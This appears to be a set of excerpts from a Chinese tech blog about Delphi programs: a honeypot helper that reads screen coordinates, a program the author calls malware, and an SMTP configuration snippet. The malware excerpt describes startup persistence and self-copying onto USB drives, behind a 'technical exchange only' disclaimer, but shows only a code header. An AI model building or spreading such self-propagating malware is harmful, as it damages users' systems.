为了提高大家的安全意识，前段时间小王设计了一个蜜罐系统（详见《蜜罐系统正式开启》），为了让这个系统全自动，看起来很牛B，我用delphi写了两个小程序，一个是鼠标自动获得屏幕坐标的，一个是鼠标自动点击的，下图右侧是鼠标自动获得屏幕坐标的软件界面，今天把鼠标自动获得屏幕坐标的代码发出来。
...

这个delphi程序是去年上半年为了测试病毒和病毒代码库所做的恶意程序，功能有：程序运行后，会将自己添加到系统启动项中，如果有u盘接入，会自动copy自己到优盘上，还可以在指定时间内，在系统后台进行某些操作，比如打开网页什么的，该程序已经在去年被列为病毒了。本文只做技术交流，请勿用于非法用途，出现任何问题，本人概不负责。下面是代码，dephi7开发，用了一个timer控件：
unit Unit1;

interface

uses
    Windows, Messages, SysUtils, Variants, Classes, Controls, Forms,
...

控件
    IdSMTP1: TIdSMTP;
    IdMessage1: TIdMessage;
代码
    IdSMTP1.Host:='smtp.163.com';
    IdSMTP1.Port:=25;
    IdSMTP1.Username:='发信人名称;
...